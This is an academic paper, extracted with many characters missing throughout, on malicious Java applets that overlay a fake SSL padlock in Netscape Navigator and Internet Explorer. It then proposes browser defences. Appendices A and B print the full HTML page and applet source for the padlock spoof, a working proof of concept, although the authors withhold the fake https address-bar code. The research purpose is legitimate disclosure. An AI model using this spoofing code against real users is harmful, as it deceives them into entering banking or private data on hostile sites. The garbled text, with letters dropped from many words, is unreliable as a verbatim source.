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Abstra t. This paper des ribes mali ious applets that use Java's sophisti ated graphi features to re tify the browser's padlo k area and
over the address bar with a false https domain name.
The atta k was su essfully tested on Nets ape's Navigator and Mirosoft's Internet Explorer; we onsequently re ommend to neutralize
Java whenever funds or private data transit via these browsers and pat h
the aw in the oming releases.
The degree of novelty of our atta k is un lear sin e similar (yet nonidenti al) results an be a hieved by spoo ng as des ribed in [6℄; however
our s enario is mu h simpler to mount as it only demands the in lusion
of an applet in the atta ker's web page. In any ase, we believe that the
te hni al disse tion of our mali ious Java ode has an illustrative value
in itself.

1 Introdu tion
In the past years, ssl [1℄ has be ome in reasingly popular for prote ting information ex hanged between web stores and Internet users.
ssl features publi -key en ryption and signature, two ryptographi fun tions that require the prior ex hange of publi keys between the sender and the
re eiver.
Assuming the se urity of the underlying algorithms, one must still make sure
that the re eived publi keys a tually belong to the entity laiming to possess
them. In other words, after re eiving a publi key from a site laiming to be
http://www.amazon. om, it still remains to he k that the publi key indeed
belongs to Amazon; this is as ertained using erti ates.
A erti ate is a signature of the user's publi -keys, issued by a trusted third
party (authority). Besides the publi -key, the erti ate's signed eld frequently
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ontains additional data su h as the user's identity (e.g. amazon. om), an algorithm ID (e.g. rsa, dsa, e dsa et .), the key-size and an expiry date. The
authority's publi -keys, used for verifying the erti ates, are assumed to be
known to everybody.
Besides the site-spe i information displayed by a website to a user ( ontents
that one an trust or not), se ure sessions has two visual tell-tale signs:

{ The image of a losed padlo k appears in the browser (at the lower left orner

of the browser for Nets ape's Navigator and at the lower right part of the
window for Mi rosoft's Internet Explorer).
{ A slight hange appears in the address bar, where instead of the usual:
http://www.domain-name. om

an additional s (standing for the word se ure) an be seen:
https://www.domain-name. om

Figures 1 and 2 illustrate these visual di eren es (see in Appendix).
In essen e, the main indi ations guaranteeing the session's se urity to the
user are visual.

2 The Flaw
To make navigation attra tive and user-friendly, browsers progressively evolved
to enable the on-the- y delivery of images, movies, sounds and musi .
This is made possible by the programming language Java. When a user loads
an html page ontaining an applet (a Java program used in a web page), the
browser starts exe uting the byte- ode of this applet. Unlike most other pro edural languages, the ompilation of a Java program does not yield a ma hine- ode
exe utable but a byte- ode le that an be interpreted by any browser implementing a Java Virtual Ma hine. This approa h allows to rea h an unpre edented
level of ompatibility between di erent operating systems (whi h is, in turn, the
reason why Java has be ome so popular [4, 5, 2℄).
A very intriguing feature of applets is their ability to display images beyond
the browser's bounds, a feature largely exploited by the atta ks des ribed in this
paper. In a nutshell, our mali ious applet will over the browser's padlo k area
with the image of a losed padlo k and, using the same tri k, re tify the address
bar's http to an https). Several variants an also be imagined: over and mimi
the genuine navigator menus, modify the title banners of open windows, display
false password entry windows et .

2.1 S enario and novelty
The s enario is easy to imagine: a user, misled by a fake padlo k, an, for instan e, feed on dential banking details into a hostile site. The degree of novelty
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of our atta k is un lear sin e similar (yet non-identi al) results an be a hieved
by spoo ng as des ribed in [6℄; however our s enario is mu h simpler to mount
as it only demands the in lusion of an applet in the atta ker's web page. In any
ase, we believe that the te hni al disse tion of our mali ious Java ode has an
illustrative value in itself.

3 The ode
This se tion will explain in detail the stru ture of applets tailored for two popular browsers: Nets ape's Navigator et Mi rosoft's Internet Explorer (our experiments were ondu ted with version 4.0, at least, of ea h of these browsers, in
order to take advantage of Java. Previous versions of these browsers represent
less then 10% of the browsers in the eld).
For the sake of larity we separately analyze the display and positioning
parts of the applets. Explanations refer to Nets ape's applet testN.java; minor
modi ations suÆ e to onvert testN.java into a ode (testE.java) targeting
the Explorer.

3.1 Displaying the fake padlo k
Image les downloaded from the Internet are usually displayed line after line, at
a relatively slow pa e. Su h a gradual display is by orders of magnitude slower
then the speed at whi h the mi ropro essor updates pixels. The losed padlo k
must therefore appear as suddenly as possible so as not to attra t the user's
attention.
Lu kily, there is a lass in Java (MediaTra ker) that avoids progressive display. To do so, we add the image of the padlo k to a tra ker obje t with the
following ommand:
MediaTra ker tra ker = new MediaTra ker(this);
image = getImage(getCodeBase(),"Padlo kN47.gif");
tra ker.addImage(image,0);

We an add as many images as we please to a single media tra ker but
one must assign ID numbers to these images. Here we have only one image
(Padlo kN47.gif shown in Figure 3) whi h ID is zero by default.

Figure 3: The fake padlo k for Nets ape's Navigator
(image le Padlo kN47.gif)
To wait for an image to be loaded ompletely, we use the following ode :
try {tra ker.waitForID(0);}
at h(Ex eption e) {}
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This means that if the pi ture is not fully loaded, the program will throw an
ex eption. To display the pi ture we use Java's standard fun tion:
window1.setBounds(X,Y,imgWidth,imgHeight);

whi h means that the frame ontaining the pi ture should appear at oordinates fX; Yg, be imgWidth pixels wide and imgHeight pixels high.
window1.show(); window1.toFront();

The show() method makes a window visible and the toFront() method
makes sure that the window will be displayed at the top of the visualization
sta k.
publi void start() {
thread.start();
}

As we want to ontinuously display the padlo k, we instan iate a Thread obje t that reates an independent thread. The start() method reates the thread
and begins the display pro ess by invoking the start() method of Thread. The
all of start() auses the all of the applet's run() method that in turn displays
the padlo k :
publi void run() {
...
window1.getGraphi s().drawImage(image,0,0,this);
window1.validate();
}

These lines of ode nally make sure that the drawImage() method draws
the pi ture at the right pla e, and validate it.
To make the applet fully fun tional, one an add a fun tion that will he k
if the vi tim has moved the browser and if so redraw the padlo k at the right
position. We do not detail this feature here.

3.2 The padlo k's position
To paste the padlo k at the right position we use Javas ript [3℄ fun tions whi h
are distin t for the Navigator and the Explorer. The positioning al ulations
are done in Javas ript and involve onstants representing the oordinates of the
padlo k area and the dimensions of the fake padlo k. This explains the existen e
of two di erent html pages that we analyze separately. Both an be easily merged
into a ode that adapts itself to the atta ked browser, but this was avoided to
keep the des ription as simple as possible.
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Nets ape's Navigator Two fun tions of the window method are very useful
for orre tly displaying the padlo k. The following Javas ript ode al ulates its
exa t position:
sX = window.s reenX;
sY = window.s reenY + window.outerHeight - 23;

By default, f0; 0g is the s reen's upper left orner, whi h is why we subtra t
the height of the padlo k (23 pixels) from the sum of window.s reenY and
window.outerHeight.
It remains to hand over the Javas ript variables sX and sY to the applet.
The strategy for doing so is the following: we de ne a one pixel applet so
as to remain quasi-invisible and avoid attra ting the user's attention. The pixel
an be hidden ompletely by assigning to it a olor identi al to the ba kground
but again, this was avoided to keep the ode simpler. We hand-over the position
data using:
do
do
do
do
do
do

ument.write("<APPLET CODE ='testN. lass' HEIGHT=1 WIDTH=1>")
ument.write(" <PARAM NAME='winPosX' VALUE='")
ument.write( sX +"'>")
ument.write(" <PARAM NAME='winPosY' VALUE='")
ument.write( sY +"'>")
ument.write("</APPLET>")

Ba k in the Java ode, these parameters are re eived as Strings and onverted to integers as follows:
String x = getParameter("winPosX"); int X = Integer.parseInt(x);
String y = getParameter("winPosY"); int Y = Integer.parseInt(y);

As illustrated in Figure 4, our applet works perfe tly when alled from the
Navigator. Unless the user purposely dig information in the Navigator's se urity
menu (Communi ator/Se urity Info) the illusion is perfe t. We intentionally
omitted the https part of the applet to avoid publishing an o -the-shelf maliious ode.

Mi rosoft's Internet Explorer The Explorer's behavior is slightly di erent.
When an applet is displayed, a warning banner is systemati ally added to its
window. To over ome this, we design an applet that appears to be behind the
browser while a tually being in front of it. This is better understood by having
a look at Figures 5 and 6.
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Figure 5: The fake padlo k for Mi rosoft Explorer
(image le EvaPeronPadlo k.gif)
A se ond (more aggressive) approa h onsists in adding to the html ode an
instru tion that expands the browser to the entire s reen (the warning banner
will then disappear). It is even possible to neutralize the fun tion that allows
the user to redu e the browser's size.

4 Solutions
As our experiments prove, pat hing and upgrading seems in order. Here are some
solutions one an think of (the list is, of ourse, far from being exhaustive).

Random i ons During installation, the program pi ks an i on at random (e.g.

from a database of one million i ons) and ustomizes the padlo k area with it.
The sele ted i on, that the user learns to re ognize, an be displayed in green
(se ure) or red (inse ure). This should be enough to solve the problem, assuming
that hostile applets an not read the sele ted i on.

Warning messages Have the system display a warning message whenever
the padlo k area is partially or ompletely overed by another window (e.g. A
window has just
overed a se urity indi ator, would you like to pro eed?). Note
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that warnings are ne essary only when open padlo ks are overed; warnings due
to intentional user a tions su h as dragging or resizing an be automati ally
re ognized and avoided.

Display in priority Whenever a window overs an open padlo k, have the open
padlo k (handled by the operating system as a privileged i on) systemati ally
appear in the foreplan. Note that su h a radi al solution paves the s reen with
holes and might be diÆ ult to live with.
Restri ted graphi fun tions Allow display only within the browser's bounds.
Sele tive toleran e Determine whi h appli ation overed the padlo k area
and a tivate any of the previous prote tions only if the overing appli ation is
ataloged by the system as a priori inse ure (e.g. unsigned by a trusted authority,
failure to omplete an ssl session et .).

Co kpit area Finally, one an ompletely disso iate the padlo ks from the
browsers and display the padlo ks, appli ation names and address bars in a
spe ial ( o kpit) area. By design, the operating system will then make sure that
no appli ation an a ess pixels in the o kpit area.
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A The html page testN.html
<HTML>
<BODY BGCOLOR="#000000">
<BR>
<BR>
<P ALIGN=CENTER><FONT COLOR="#e6e6ff">
<FONT SIZE=5 STYLE="font-size: 20pt">
<B>THIS SITE IS INSECURE</B>
</FONT></FONT></P>
<P ALIGN=CENTER><FONT COLOR="#e6e6ff">
<FONT SIZE=5 STYLE="font-size: 20pt">
<B>(DESPITE THE CLOSED PADLOCK)</B>
</FONT></FONT></P>
<P><SCRIPT>
sX = window.s reenX;
sY = window.s reenY + window.outerHeight - 23;
do ument.write("<APPLET CODE ='testN. lass' HEIGHT=1 WIDTH=1>")
do ument.write(" <PARAM NAME='winPosX' VALUE='")
do ument.write( sX +"'>")
do ument.write(" <PARAM NAME='winPosY' VALUE='")
do ument.write( sY +"'>")
do ument.write("</APPLET>")
</SCRIPT></P>
</BODY>
</HTML>

The html page testE.html is obtained by hanging the de nitions of sX and

sY to:

sX = window.s reenLeft + do ument.body.offsetWidth - 198;
sY = window.s reenTop + do ument.body.offsetHeight;

and repla ing the applet's name in:
do ument.write("<APPLET CODE ='testIE. lass' HEIGHT=1 WIDTH=1>")

B The applet testN.java
import java.awt.*; import java.awt.image.*; import java.applet.*;
publi

lass testN extends Applet implements Runnable {

Window window1;
Image image ;
Thread thread = new Thread(this);
int imgWidth = 24; int imgHeight = 23;
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publi void init() {
// We use the MediaTra ker fun tion to be sure that
// the padlo k will be fully loaded before being displayed
MediaTra ker tra ker = new MediaTra ker(this);
image = getImage(getCodeBase(),"Padlo kN47.gif");
tra ker.addImage(image,0);
try {tra ker.waitForID(0);}
at h(Ex eption e) {}
String x = getParameter("winPosX"); int X = Integer.parseInt(x);
String y = getParameter("winPosY"); int Y = Integer.parseInt(y);
window1 = new Window(new Frame());
window1.setBounds(X,Y,imgWidth,imgHeight);

}

window1.show();
window1.toFront();

publi void start() {
thread.start();
}
publi void run() {
// winPosX,Y are parameters that define the position
// of the padlo k in the s reen
String x = getParameter("winPosX"); int X = Integer.parseInt(x);
String y = getParameter("winPosY"); int Y = Integer.parseInt(y);

}

}

window1.setBounds(X,Y,imgWidth,imgHeight);
window1.getGraphi s().drawImage(image,0,0,this);
window1.validate();

The applet testE.java is obtained by repla ing the de nitions of imgWidth
and imgHeight by:
int imgWidth = 251; int imgHeight = 357;

and hanging the fake padlo k le's name to:
image = getImage(getCodeBase(),"EvaPeronPadlo k.gif");
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Figure 1 (1): Potentially inse ure session (Nets ape's Navigator)
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Figure 1 (2): Se ure session (Nets ape's Navigator)
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Figure 2 (1): Potentially inse ure session (Mi rosoft Explorer)
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Figure 2 (2): Se ure session (Mi rosoft Explorer)
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Figure 4: Fake padlo k applet on a Nets ape Navigator
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Figure 6: Fake padlo k applet on a Mi rosoft Explorer
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